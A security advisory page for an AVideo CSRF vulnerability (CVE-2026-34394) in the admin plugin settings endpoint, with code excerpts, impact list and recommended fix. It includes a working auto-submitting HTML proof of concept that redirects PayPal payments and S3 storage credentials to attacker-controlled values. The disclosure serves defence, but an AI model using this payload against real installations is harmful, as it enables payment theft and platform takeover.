Staging Environment: Content and features may be unstable or change without notice.
Advisory details: github_osv / GHSA-4wwr-7h7c-chqr
Advisory ID github_osv/GHSA-4wwr-7h7c-chqr
Aliases CVE-2026-34394
Summary AVideo's CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking ## Summary AVideo's admin plugin configuration endpoint (`admin/save.json.php`) lacks any CSRF token validation. There is no call to `isGlobalTokenValid()` or `verifyToken()` before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session. Because the `plugins` table is included in the `ignoreTableSecurityCheck()` array in `objects/Object.php`, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more. ## Details The session cookie configuration in `objects/include_config.php` at line 135 explicitly weakens the default browser protections: ```php // objects/include_config.php:135 ini_set('session.cookie_samesite', 'None'); ``` This means cookies are attached to all cross-origin requests, making CSRF attacks trivial. The save endpoint in `admin/save.json.php` directly processes POST data without any token verification: ```php // admin/save.json.php $pluginName = $_POST['pluginName']; $pluginValues = $_POST; // ... $pluginDO->$key = $pluginValues[$key]; $p->setObject_data(json_encode($pluginDO)); $p->save(); ``` The `plugins` table is explicitly exempted from security checks in `objects/Object.php` at line 529: ```php // objects/Object.php:529 static function ignoreTableSecurityCheck() { return ['plugins', /* ... other tables ... */]; } ``` Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes. ## Proof of Concept Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address: ```html <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="PayPerView" /> <input type="hidden" name="paypalReceiverEmail" value="attacker@evil.com" /> </form> <script> document.getElementById('csrf').submit(); </script> </body> </html> ``` To overwrite S3 storage credentials instead: ```html <form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php"> <input type="hidden" name="pluginName" value="AWS_S3" /> <input type="hidden" name="region" value="us-east-1" /> <input type="hidden" name="bucket" value="attacker-bucket" /> <input type="hidden" name="key" value="ATTACKER_KEY_ID" /> <input type="hidden" name="secret" value="ATTACKER_SECRET" /> </form> ``` Reproduction steps: 1. Log in to AVideo as an administrator. 2. In a separate browser tab, open the attacker's HTML page. 3. The form auto-submits, overwriting the target plugin configuration. 4. Verify the change by navigating to the plugin settings page in the admin panel. ## Impact An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include: - **Payment hijacking**: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker. - **Credential theft**: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage. - **Authentication bypass**: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers. - **Backdoor installation**: Enable and configure plugins to introduce persistent access. This is a full platform takeover with zero user interaction beyond a single page visit. - **CWE**: CWE-352 (Cross-Site Request Forgery) ## Recommended Fix Add CSRF token validation at `admin/save.json.php:10`, immediately after the admin check: ```php // admin/save.json.php:10 if (!isGlobalTokenValid()) { die('{"error":"Invalid CSRF token"}'); } ``` --- *Found by [aisafe.io](https://aisafe.io)*
Status Published
Exploitability 0.5
Weighted Severity 7.3
Risk 3.6
Affected and Fixed Packages Package Details
Introduced and Fixed Package Commit Patches Package Commit Patches Details
Weaknesses (1)
No exploits are available.

No EPSS data available for this advisory.

Patch URL
There are no known patches.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N Found at https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-4wwr-7h7c-chqr/GHSA-4wwr-7h7c-chqr.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-04-01T13:40:07Z/

Decision: Track*

Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/34xxx/CVE-2026-34394.json

Source Advisory: vulnrichment/CVE-2026-34394

View SSVC decision tree
[{'Exploitation': 'poc'},
 {'Automatable': 'no'},
 {'Technical Impact': 'total'},
 {'Mission Prevalence': 'minimal'},
 {'Public Well-being Impact': 'material'},
 {'Mission & Well-being': 'medium'}]